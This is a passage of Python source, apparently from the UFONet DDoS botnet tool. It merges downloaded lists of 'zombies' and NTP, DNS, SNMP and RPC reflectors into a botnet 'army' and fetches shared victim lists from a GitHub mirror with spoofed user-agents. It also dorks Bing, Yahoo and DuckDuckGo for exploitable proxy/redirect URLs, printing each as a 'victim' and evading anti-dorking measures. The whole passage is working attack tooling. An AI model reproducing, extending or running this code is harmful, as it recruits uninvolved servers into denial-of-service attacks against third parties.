  3225. print("[Info] [Radar] [Blackhole] Added [Aliens] : " + str(aliens_added))
  3226. ucavs = self.extract_ucavs()
  3227. if not ucavs:
  3228. return
  3229. ucavs_added = 0
  3230. if os.path.isfile('botnet/drones.txt'):
  3231. f = open('botnet/drones.txt')
  3232. drones = f.readlines()
  3233. drones = [drone.strip() for drone in drones]
  3234. f.close()
  3235. fz = open(self.ucavs_file)
  3236. ucavs = fz.readlines()
  3237. ucavs = [ucav.strip() for ucav in ucavs]
  3238. fz.close()
  3239. au = open('botnet/ucavs.txt', 'a')
  3240. for drone in drones:
  3241. if drone not in ucavs:
  3242. ucavs_added = ucavs_added + 1
  3243. au.write(drone+os.linesep)
  3244. else:
  3245. pass
  3246. au.close()
  3247. os.remove('botnet/drones.txt') # remove ucavs file
  3248. print("[Info] [Radar] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  3249. rpcs = self.extract_rpcs()
  3250. if not rpcs:
  3251. return
  3252. rpcs_added = 0
  3253. if os.path.isfile('botnet/reflectors.txt'):
  3254. f = open('botnet/reflectors.txt')
  3255. reflectors = f.readlines()
  3256. reflectors = [reflector.strip() for reflector in reflectors]
  3257. f.close()
  3258. fz = open(self.rpcs_file)
  3259. rpcs = fz.readlines()
  3260. rpcs = [rpc.strip() for rpc in rpcs]
  3261. fz.close()
  3262. ar = open('botnet/rpcs.txt', 'a')
  3263. for reflector in reflectors:
  3264. if reflector not in rpcs:
  3265. rpcs_added = rpcs_added + 1
  3266. ar.write(reflector+os.linesep)
  3267. else:
  3268. pass
  3269. ar.close()
  3270. os.remove('botnet/reflectors.txt') # remove rpcs file
  3271. print("[Info] [Radar] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  3272. ntps = self.extract_ntps()
  3273. if not ntps:
  3274. return
  3275. ntps_added = 0
  3276. if os.path.isfile('botnet/crystals.txt'):
  3277. f = open('botnet/crystals.txt')
  3278. crystals = f.readlines()
  3279. crystals = [crystal.strip() for crystal in crystals]
  3280. f.close()
  3281. fz = open(self.ntps_file)
  3282. ntps = fz.readlines()
  3283. ntps = [ntp.strip() for ntp in ntps]
  3284. fz.close()
  3285. an = open('botnet/ntp.txt', 'a')
  3286. for crystal in crystals:
  3287. if crystal not in ntps:
  3288. ntps_added = ntps_added + 1
  3289. an.write(crystal+os.linesep)
  3290. else:
  3291. pass
  3292. an.close()
  3293. os.remove('botnet/crystals.txt') # remove crystals file
  3294. print("[Info] [Radar] [Blackhole] Added [NTPs] : " + str(ntps_added))
  3295. dnss = self.extract_dnss()
  3296. if not dnss:
  3297. return
  3298. dnss_added = 0
  3299. if os.path.isfile('botnet/warps.txt'):
  3300. f = open('botnet/warps.txt')
  3301. warps = f.readlines()
  3302. warps = [warp.strip() for warp in warps]
  3303. f.close()
  3304. fz = open(self.dnss_file)
  3305. dnss = fz.readlines()
  3306. dnss = [dns.strip() for dns in dnss]
  3307. fz.close()
  3308. ad = open('botnet/dns.txt', 'a')
  3309. for warp in warps:
  3310. if warp not in dnss:
  3311. dnss_added = dnss_added + 1
  3312. ad.write(warp+os.linesep)
  3313. else:
  3314. pass
  3315. ad.close()
  3316. os.remove('botnet/warps.txt') # remove warps file
  3317. print("[Info] [Radar] [Blackhole] Added [DNSs] : " + str(dnss_added))
  3318. snmps = self.extract_snmps()
  3319. if not snmps:
  3320. return
  3321. snmps_added = 0
  3322. if os.path.isfile('botnet/bosons.txt'):
  3323. f = open('botnet/bosons.txt')
  3324. bosons = f.readlines()
  3325. bosons = [boson.strip() for boson in bosons]
  3326. f.close()
  3327. fz = open(self.snmps_file)
  3328. snmps = fz.readlines()
  3329. snmps = [snmp.strip() for snmp in snmps]
  3330. fz.close()
  3331. asn = open('botnet/snmp.txt', 'a')
  3332. for boson in bosons:
  3333. if boson not in snmps:
  3334. snmps_added = snmps_added + 1
  3335. asn.write(boson+os.linesep)
  3336. else:
  3337. pass
  3338. asn.close()
  3339. os.remove('botnet/bosons.txt') # remove snmps file
  3340. print("[Info] [Radar] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  3341. print('-'*12 + '\n')
  3342. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  3343. print("[AI] [Control] [Radar] [Blackhole] [Node] These [Zombies] are already in your [Army] -> [Passing!]")
  3344. print('-'*12 + '\n')
  3345. else:
  3346. total_zombies = zombies_added + aliens_added + droids_added + ucavs_added + rpcs_added + ntps_added + dnss_added + snmps_added
  3347. print("[Info] [AI] Congratulations!. Total [Zombies] added: " + str(total_zombies))
  3348. print('-'*12)
  3349. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  3350. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3351. stream = str(enc_globalnet_owner)+self.globalnet_msg_sep+str(enc_globalnet_comment)+self.globalnet_msg_sep+str(enc_globalnet_warp)+self.globalnet_msg_sep+str(enc_globalnet_ip)
  3352. globalnet_list.append(stream)
  3353. print('='*22 + '\n')
  3354. if globalnet_list is not None:
  3355. f = open(self.globalnet_file, "w") # write to globalnet.txt
  3356. for node in globalnet_list:
  3357. node = node.replace('\n','')
  3358. f.write(node)
  3359. f.close()
  3360. def downloading_github_list(self):
  3361. # add your mirror to protect/share/distribute... [Zombies]
  3362. try:
  3363. print("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n")
  3364. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3365. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3366. if self.options.timeout: # set timeout
  3367. try:
  3368. timeout = int(self.options.timeout)
  3369. except:
  3370. timeout = 5
  3371. else:
  3372. timeout = 5
  3373. if timeout < 1:
  3374. timeout = 5
  3375. if self.options.proxy: # set proxy
  3376. self.proxy_transport(self.options.proxy)
  3377. try:
  3378. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  3379. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3380. except:
  3381. zombies_reply = ""
  3382. try:
  3383. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  3384. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3385. except:
  3386. aliens_reply = ""
  3387. try:
  3388. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  3389. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3390. except:
  3391. dns_reply = ""
  3392. try:
  3393. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  3394. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3395. except:
  3396. droids_reply = ""
  3397. try:
  3398. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  3399. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3400. except:
  3401. rpcs_reply = ""
  3402. try:
  3403. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  3404. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3405. except:
  3406. ucavs_reply = ""
  3407. try:
  3408. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  3409. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3410. except:
  3411. ntp_reply = ""
  3412. try:
  3413. req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
  3414. snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3415. except:
  3416. snmp_reply = ""
  3417. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
  3418. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3419. print('-'*12 + '\n')
  3420. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3421. return
  3422. f = open('botnet/abductions.txt', 'w') # zombies
  3423. f.write(zombies_reply)
  3424. f.close()
  3425. f = open('botnet/troops.txt', 'w') # aliens
  3426. f.write(aliens_reply)
  3427. f.close()
  3428. f = open('botnet/crystals.txt', 'w') # dns
  3429. f.write(dns_reply)
  3430. f.close()
  3431. f = open('botnet/robots.txt', 'w') # droids
  3432. f.write(droids_reply)
  3433. f.close()
  3434. f = open('botnet/drones.txt', 'w') # ucavs
  3435. f.write(ucavs_reply)
  3436. f.close()
  3437. f = open('botnet/reflectors.txt', 'w') # rpcs
  3438. f.write(rpcs_reply)
  3439. f.close()
  3440. f = open('botnet/warps.txt', 'w') # ntp
  3441. f.write(ntp_reply)
  3442. f.close()
  3443. f = open('botnet/bosons.txt', 'w') # snmp
  3444. f.write(snmp_reply)
  3445. f.close()
  3446. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  3447. except:
  3448. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3449. print('-'*12 + '\n')
  3450. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3451. return
  3452. print('-'*12 + '\n')
  3453. num_abductions = 0
  3454. with open('botnet/abductions.txt') as f: # zombies
  3455. for _ in f:
  3456. num_abductions = num_abductions + 1
  3457. print("[Info] Zombies: " + str(num_abductions))
  3458. num_troops = 0
  3459. with open('botnet/troops.txt') as f: # aliens
  3460. for _ in f:
  3461. num_troops = num_troops + 1
  3462. print("[Info] Aliens : " + str(num_troops))
  3463. num_robots = 0
  3464. with open('botnet/robots.txt') as f: # droids
  3465. for _ in f:
  3466. num_robots = num_robots + 1
  3467. print("[Info] Droids : " + str(num_robots))
  3468. num_drones = 0
  3469. with open('botnet/drones.txt') as f: # ucavs
  3470. for _ in f:
  3471. num_drones = num_drones + 1
  3472. print("[Info] UCAVs : " + str(num_drones))
  3473. num_reflectors = 0
  3474. with open('botnet/reflectors.txt') as f: # rpcs
  3475. for _ in f:
  3476. num_reflectors = num_reflectors + 1
  3477. print("[Info] X-RPCs : " + str(num_reflectors))
  3478. num_crystals = 0
  3479. with open('botnet/crystals.txt') as f: # dns
  3480. for _ in f:
  3481. num_crystals = num_crystals + 1
  3482. print("[Info] DNSs : " + str(num_crystals))
  3483. num_warps = 0
  3484. with open('botnet/warps.txt') as f: # ntp
  3485. for _ in f:
  3486. num_warps = num_warps + 1
  3487. print("[Info] NTPs : " + str(num_warps))
  3488. num_bosons = 0
  3489. with open('botnet/bosons.txt') as f: # snmp
  3490. for _ in f:
  3491. num_bosons = num_bosons + 1
  3492. print("[Info] SNMPs : " + str(num_bosons))
  3493. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  3494. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  3495. print('-'*12)
  3496. if not self.options.forceyes:
  3497. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  3498. print('-'*25)
  3499. else:
  3500. update_reply = "Y"
  3501. if update_reply == "n" or update_reply == "N":
  3502. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3503. os.remove('botnet/troops.txt') # remove aliens/troops file
  3504. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3505. os.remove('botnet/robots.txt') # remove droids/robots file
  3506. os.remove('botnet/drones.txt') # remove ucavs/drones file
  3507. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  3508. os.remove('botnet/warps.txt') # remove ntp/warps file
  3509. os.remove('botnet/bosons.txt') # remove snmp/bosons file
  3510. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  3511. print('-'*25)
  3512. print("\n[AI] "+self.exit_msg+"\n")
  3513. else:
  3514. zombies_ready = []
  3515. f = open('botnet/abductions.txt')
  3516. abductions = f.readlines()
  3517. f.close()
  3518. fz = open(self.zombies_file)
  3519. zombies = fz.readlines()
  3520. fz.close()
  3521. for abduction in abductions:
  3522. abduction = abduction.replace('\n','')
  3523. if abduction not in zombies:
  3524. zombies_ready.append(abduction)
  3525. else:
  3526. pass
  3527. self.update_zombies(zombies_ready)
  3528. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3529. aliens_ready = []
  3530. f = open('botnet/troops.txt')
  3531. troops = f.readlines()
  3532. f.close()
  3533. fz = open(self.aliens_file)
  3534. aliens = fz.readlines()
  3535. fz.close()
  3536. for alien in troops:
  3537. alien = alien.replace('\n','')
  3538. if alien not in aliens:
  3539. aliens_ready.append(alien)
  3540. else:
  3541. pass
  3542. self.update_aliens(aliens_ready)
  3543. os.remove('botnet/troops.txt') # remove aliens/troops file
  3544. dnss_ready = []
  3545. f = open('botnet/crystals.txt')
  3546. crystals = f.readlines()
  3547. f.close()
  3548. fz = open(self.dnss_file)
  3549. dnss = fz.readlines()
  3550. fz.close()
  3551. for crystal in crystals:
  3552. crystal = crystal.replace('\n','')
  3553. if crystal not in dnss:
  3554. dnss_ready.append(crystal)
  3555. else:
  3556. pass
  3557. self.update_dnss(dnss_ready)
  3558. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3559. droids_ready = []
  3560. f = open('botnet/robots.txt')
  3561. robots = f.readlines()
  3562. f.close()
  3563. fz = open(self.droids_file)
  3564. droids = fz.readlines()
  3565. fz.close()
  3566. for droid in robots:
  3567. droid = droid.replace('\n','')
  3568. if droid not in droids:
  3569. droids_ready.append(droid)
  3570. else:
  3571. pass
  3572. self.update_droids(droids_ready)
  3573. os.remove('botnet/robots.txt') # remove droids/robots file
  3574. ucavs_ready = []
  3575. f = open('botnet/drones.txt')
  3576. drones = f.readlines()
  3577. f.close()
  3578. fz = open(self.ucavs_file)
  3579. ucavs = fz.readlines()
  3580. fz.close()
  3581. for drone in drones:
  3582. drone = drone.replace('\n','')
  3583. if drone not in ucavs:
  3584. ucavs_ready.append(drone)
  3585. else:
  3586. pass
  3587. self.update_ucavs(ucavs_ready)
  3588. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  3589. rpcs_ready = []
  3590. f = open('botnet/reflectors.txt')
  3591. reflectors = f.readlines()
  3592. f.close()
  3593. fz = open(self.rpcs_file)
  3594. rpcs = fz.readlines()
  3595. fz.close()
  3596. for reflector in reflectors:
  3597. reflector = reflector.replace('\n','')
  3598. if reflector not in rpcs:
  3599. rpcs_ready.append(reflector)
  3600. else:
  3601. pass
  3602. self.update_rpcs(rpcs_ready)
  3603. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  3604. ntps_ready = []
  3605. f = open('botnet/warps.txt')
  3606. warps = f.readlines()
  3607. f.close()
  3608. fz = open(self.ntps_file)
  3609. ntps = fz.readlines()
  3610. fz.close()
  3611. for warp in warps:
  3612. warp = warp.replace('\n','')
  3613. if warp not in ntps:
  3614. ntps_ready.append(warp)
  3615. else:
  3616. pass
  3617. self.update_ntps(ntps_ready)
  3618. os.remove('botnet/warps.txt') # remove NTP/warps file
  3619. snmps_ready = []
  3620. f = open('botnet/bosons.txt')
  3621. bosons = f.readlines()
  3622. f.close()
  3623. fz = open(self.snmps_file)
  3624. snmps = fz.readlines()
  3625. fz.close()
  3626. for boson in bosons:
  3627. boson = boson.replace('\n','')
  3628. if boson not in snmps:
  3629. snmps_ready.append(boson)
  3630. else:
  3631. pass
  3632. self.update_snmps(snmps_ready)
  3633. os.remove('botnet/bosons.txt') # remove SNMP/bosons file
  3634. print("\n[Info] [AI] Botnet updated! -> ;-)")
  3635. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3636. if not self.options.forceyes: # ask for update everything
  3637. print('-'*25 + "\n")
  3638. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  3639. else:
  3640. update_reply = "Y"
  3641. if update_reply == "n" or update_reply == "N":
  3642. print("\n[AI] "+self.exit_msg+"\n")
  3643. return
  3644. else:
  3645. try:
  3646. update_gui = self.update_gui_data() # update GUI data
  3647. except:
  3648. print('-'*25 +"\n")
  3649. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  3650. print('-'*25)
  3651. print("\n[AI] "+self.exit_msg+"\n")
  3652. return
  3653. def uploading_github_list(self):
  3654. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  3655. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  3656. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  3657. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  3658. print('='*22 + '\n')
  3659. print("[AI] "+self.exit_msg+"\n")
  3660. def create_web_interface(self):
  3661. # launch webserver+gui
  3662. from .webgui import ClientThread
  3663. import webbrowser
  3664. host = '0.0.0.0'
  3665. port = 9999
  3666. try:
  3667. webbrowser.open('http://127.0.0.1:9999', new=1)
  3668. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3669. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  3670. tcpsock.bind((host,port))
  3671. while True:
  3672. tcpsock.listen(4)
  3673. (clientsock, (ip, port)) = tcpsock.accept()
  3674. newthread = ClientThread(ip, port, clientsock)
  3675. newthread.start()
  3676. except (KeyboardInterrupt, SystemExit):
  3677. sys.exit()
  3678. def extract_dorks(self):
  3679. # extract dorks from file (ex: 'dorks.txt')
  3680. try:
  3681. f = open(self.dorks_file)
  3682. dorks = f.readlines()
  3683. dorks = [ dork.replace('\n','') for dork in dorks ]
  3684. f.close()
  3685. if not dorks:
  3686. if not options.autosearch:
  3687. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3688. return
  3689. else:
  3690. return dorks
  3691. except:
  3692. if not options.autosearch:
  3693. if os.path.exists(self.dorks_file) == True:
  3694. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3695. return #sys.exit(2)
  3696. else:
  3697. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3698. return #sys.exit(2)
  3699. else:
  3700. return
  3701. def search_zombies(self, dork, zombies_found):
  3702. # crawlering on search engine results to extract zombies
  3703. options = self.options
  3704. zombies = []
  3705. if not options.engine: # default search engine
  3706. options.engine = 'duck'
  3707. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  3708. url = 'https://www.bing.com/search?'
  3709. if options.search: # search from query
  3710. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3711. if options.dorks or options.autosearch: # search from a dork
  3712. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3713. start = 0 # set index number of first entry
  3714. query_string = { 'q':q, 'first':start }
  3715. data = urllib.parse.urlencode(query_string)
  3716. url = url + data
  3717. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3718. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3719. if options.verbose:
  3720. print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
  3721. try:
  3722. if options.proxy: # set proxy
  3723. self.proxy_transport(options.proxy)
  3724. req = urllib.request.Request(url, None, headers)
  3725. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3726. except:
  3727. print('[Error] [AI] Unable to connect to: bing\n')
  3728. if options.allengines or options.autosearch:
  3729. return
  3730. if not options.dorks or not options.autosearch:
  3731. if not self.options.forceyes:
  3732. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3733. else:
  3734. update_reply = "Y"
  3735. if update_reply == "n" or update_reply == "N":
  3736. return #sys.exit(2)
  3737. print("\nSearch engines available:")
  3738. print('-'*25)
  3739. for e in self.search_engines:
  3740. print("+ "+e)
  3741. print('-'*25)
  3742. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3743. return #sys.exit(2)
  3744. else:
  3745. req_reply = ''
  3746. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  3747. pattern = re.compile(regex)
  3748. url_links = re.findall(pattern, req_reply)
  3749. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  3750. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  3751. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  3752. location = str(random.choice(location).strip()) # shuffle location
  3753. if location == "jp": # [28/02/2019]
  3754. url = 'https://search.yahoo.co.jp/search?'
  3755. else:
  3756. url = 'https://'+location+'.search.yahoo.com/search?'
  3757. if options.search: # search from query
  3758. if location == "jp":
  3759. q = '"' + str(options.search) + '"' # set query to search literally on results
  3760. else:
  3761. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3762. if options.dorks or options.autosearch: # search from a dork
  3763. if location == "jp":
  3764. q = '"' + str(dork) + '"' # set query to search literally on results
  3765. else:
  3766. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3767. start = 0 # set index number of first entry
  3768. query_string = { 'p':q, 'b':start }
  3769. data = urllib.parse.urlencode(query_string)
  3770. url = url + data
  3771. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3772. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3773. if options.verbose:
  3774. print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
  3775. try:
  3776. if options.proxy: # set proxy
  3777. self.proxy_transport(options.proxy)
  3778. req = urllib.request.Request(url, None, headers)
  3779. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3780. except:
  3781. print('[Error] [AI] Unable to connect to: yahoo\n')
  3782. if options.allengines or options.autosearch:
  3783. return
  3784. if not options.dorks or not options.autosearch:
  3785. if not self.options.forceyes:
  3786. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3787. else:
  3788. update_reply = "Y"
  3789. if update_reply == "n" or update_reply == "N":
  3790. return #sys.exit(2)
  3791. print("\nSearch engines available:")
  3792. print('-'*25)
  3793. for e in self.search_engines:
  3794. print("+ "+e)
  3795. print('-'*25)
  3796. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  3797. return #sys.exit(2)
  3798. else:
  3799. req_reply = ''
  3800. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  3801. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  3802. pattern = re.compile(regex)
  3803. url_links = re.findall(pattern, req_reply)
  3804. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  3805. url = 'https://duckduckgo.com/html/'
  3806. if options.search: # search from query
  3807. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3808. if options.dorks or options.autosearch: # search from a dork
  3809. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3810. query_string = { 'q':q }
  3811. data = urllib.parse.urlencode(query_string)
  3812. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3813. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3814. if options.verbose:
  3815. print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")\n")
  3816. try:
  3817. if options.proxy: # set proxy
  3818. self.proxy_transport(options.proxy)
  3819. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  3820. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3821. except:
  3822. print('[Error] [AI] Unable to connect to: duck\n')
  3823. if options.allengines or options.autosearch:
  3824. return
  3825. if not options.dorks or not options.autosearch:
  3826. if not self.options.forceyes:
  3827. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3828. else:
  3829. update_reply = "Y"
  3830. if update_reply == "n" or update_reply == "N":
  3831. return #sys.exit(2)
  3832. print("\nSearch engines available:")
  3833. print('-'*25)
  3834. for e in self.search_engines:
  3835. print("+ "+e)
  3836. print('-'*25)
  3837. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3838. return #sys.exit(2)
  3839. else:
  3840. req_reply = ''
  3841. regex = 'snippet" href="(.+?)">' # regex magics
  3842. pattern = re.compile(regex)
  3843. url_links = re.findall(pattern, req_reply)
  3844. else: # no valid search engine
  3845. print('[Error] [AI] This search engine is not supported!\n')
  3846. if not options.dorks or options.autosearch:
  3847. if not self.options.forceyes:
  3848. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3849. else:
  3850. update_reply = "Y"
  3851. if update_reply == "n" or update_reply == "N":
  3852. return #sys.exit(2)
  3853. print("\nSearch engines available:")
  3854. print('-'*25)
  3855. for e in self.search_engines:
  3856. print("+ "+e)
  3857. print('-'*25)
  3858. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3859. return #sys.exit(2)
  3860. else:
  3861. req_reply = ''
  3862. if options.num_results: # set number of results to search
  3863. try:
  3864. num = int(options.num_results)
  3865. except:
  3866. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  3867. num = 10
  3868. else:
  3869. num = 10
  3870. total_results = 1
  3871. for url in url_links: # general parse on urls
  3872. if int(num) < int(total_results):
  3873. break
  3874. if options.engine == "bing":
  3875. if " h=" in url: # regex magics [18/08/2016]
  3876. url = url.rsplit('" h=',1)[0]
  3877. if options.engine == "yahoo":
  3878. if 'RU=' in url: # regex magics [18/08/2016]
  3879. url = url.rsplit('RU=',1)[1]
  3880. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  3881. url = url.rsplit('UTF-8&u=',1)[1]
  3882. total_results = total_results + 1 # results counter
  3883. url_link = urllib.parse.unquote(url) # unquote encoding
  3884. if options.search:
  3885. sep = str(options.search)
  3886. if options.dorks or options.autosearch:
  3887. sep = str(dork)
  3888. url_link = url_link.rsplit(sep, 1)[0] + sep
  3889. if 'href="' in url_link:
  3890. url_link = url_link.rsplit('href="', 1)[1]
  3891. if "instreamset" in url_link: # invalid zombie
  3892. url_link = "" # discarded
  3893. if '" ' in url_link:
  3894. url_link = url_link.rsplit('" ', 1)[1]
  3895. if options.engine in url_link:
  3896. url_link = "" # discarded
  3897. if 'http' not in url_link:
  3898. url_link = "" # discarded
  3899. else:
  3900. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "": # AI mode (parsing search engines mixed pool and stored army)
  3901. print('+Victim found: ' + url_link)
  3902. zombies.append(url_link)
  3903. else:
  3904. pass
  3905. if len(zombies) == 0: # print dorking results
  3906. print("[Info] [AI] NOT any NEW victim(s) found for this query!\n")
  3907. if not options.dorks:
  3908. if not options.autosearch:
  3909. if not self.options.forceyes:
  3910. return #sys.exit(2)
  3911. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  3912. print("")
  3913. return zombies
  3914. def check_nat(self):
  3915. # check for NAT configuration
  3916. options = self.options
  3917. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  3918. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  3919. check_ip_service = None
  3920. if not tor_reply or 'Congratulations' not in tor_reply:
  3921. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  3922. else:
  3923. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  3924. self.nat_error_flag = "ON"
  3925. return #sys.exit(2)
  3926. try:
  3927. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  3928. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  3929. check_ip_service = self.check_ip_service1
  3930. except:
  3931. try: # another check for public ip
  3932. data = str(urlopen(self.check_ip_service2).read())
  3933. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  3934. check_ip_service = self.check_ip_service2
  3935. except:
  3936. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  3937. self.nat_error_flag = "ON"
  3938. return
  3939. t = urlparse(check_ip_service)
  3940. name_service = t.netloc
  3941. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  3942. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  3943. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  3944. self.local_ip = s.getsockname()[0]
  3945. print(" + Local: " + self.local_ip + "\n")
  3946. print('='*22 + '\n')
  3947. def extract_ucavs(self):
  3948. # extract ucavs from file
  3949. options = self.options
  3950. try:
  3951. f = open(self.ucavs_file)
  3952. ucavs = f.readlines()
  3953. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  3954. f.close()
  3955. if not ucavs:
  3956. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3957. self.options.disableucavs = True
  3958. return
  3959. else:
  3960. return ucavs
  3961. except:
  3962. if os.path.exists(self.ucavs_file) == True:
  3963. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3964. return #sys.exit(2)
  3965. else:
  3966. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3967. return #sys.exit(2)
  3968. def discarding_ucavs(self, ucav, ucavs):
  3969. if ucav in self.discard_ucavs:
  3970. ucavs.remove(ucav)
  3971. if self.options.verbose:
